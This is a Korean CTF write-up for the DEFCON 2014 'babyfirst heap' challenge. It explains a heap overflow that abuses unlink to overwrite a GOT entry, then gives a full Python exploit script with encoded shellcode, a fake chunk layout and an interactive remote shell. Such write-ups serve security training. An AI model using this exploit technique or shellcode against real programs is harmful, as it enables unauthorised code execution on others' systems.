본문 바로가기

ctf

[DEFCON 2014 CTF] babyfirst heap

# file

babyfirst-heap: ELF 32-bit LSB  executable, Intel 80386, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.24, BuildID[sha1]=1b4e88004c13ca18ef78ac90b298c1e247c1d4e5, not stripped

 

randrange 함수를 통해 랜덤하게 malloc 을 할당한다. 총 20번의 할당 중 10번의 loop 뒤 malloc(260); 만큼 할당한다.

그리고 할당이 끝난 후 malloc(260); 가 할당된 주소에 0x1000byte 만큼 입력받는다. 그리고 할당 된 heap을 free 한다.

 

우리가 0x1000byte 만큼 입력받을 때 heap overflow가 발생한다. 마지막 for 문에서 할당된 heap을 연속적으로 free 하고 병합하게 되는데 이 때 unlink가 호출된다. 

overflow를 통해 이웃 chunk의 PREV_INUSE를 1로 셋팅하여 기존 chunk 와의 병합을 단절하고 다음 free 시 fd bk writing을 유도한다.

=> NX가 걸려있지만, malloc에서 할당 할 때 mprotect()로 heap memory에 rwx 권한을 준다

 

 # exploit.py

from struct import *
from socket import *
from telnetlib import *
import time


p = lambda x : pack("<L", x)
up = lambda x : unpack("<L", x)[0]


print_got = 0x0804c004

shellcode = "\xeb\x11\x5e\x31\xc9\xb1\x32\x80\x6c\x0e\xff\x01\x80\xe9\x01\x75\xf6\xeb\x05\xe8\xea\xff\xff\xff\x32\xc1\x51\x69\x30\x30\x74\x69\x69\x30\x63\x6a\x6f\x8a\xe4\x51\x54\x8a\xe2\x9a\xb1\x0c\xce\x81"


s = socket(AF_INET, SOCK_STREAM)
s.connect(('192.168.127.162', 7777))

time.sleep(0.3)
data = s.recv(2048)

heap_ptr = str("0") + data[494:501]
heap_ptr = int(heap_ptr, 16)

print data
print "[*] heap addr = " + hex(heap_ptr)


payload = ""
payload += p(0x1ceb)
payload += "\x90"*100
payload += shellcode
payload += "A"*(260 - len(payload))

payload += p(0x1)
payload += p(print_got-8)
payload += p(heap_ptr)

raw_input(">")

s.send(payload + "\n")

t = Telnet()
t.sock = s
t.interact()

'ctf' 카테고리의 다른 글

[pwnable.kr] cmd2  (0) 2017.01.13
[pwnable.kr] dragon  (0) 2017.01.11
[exploit-exercise] heap3  (0) 2017.01.09
[pwnable.kr] fsb  (0) 2017.01.08
[pwnable.kr] simple_login  (0) 2017.01.08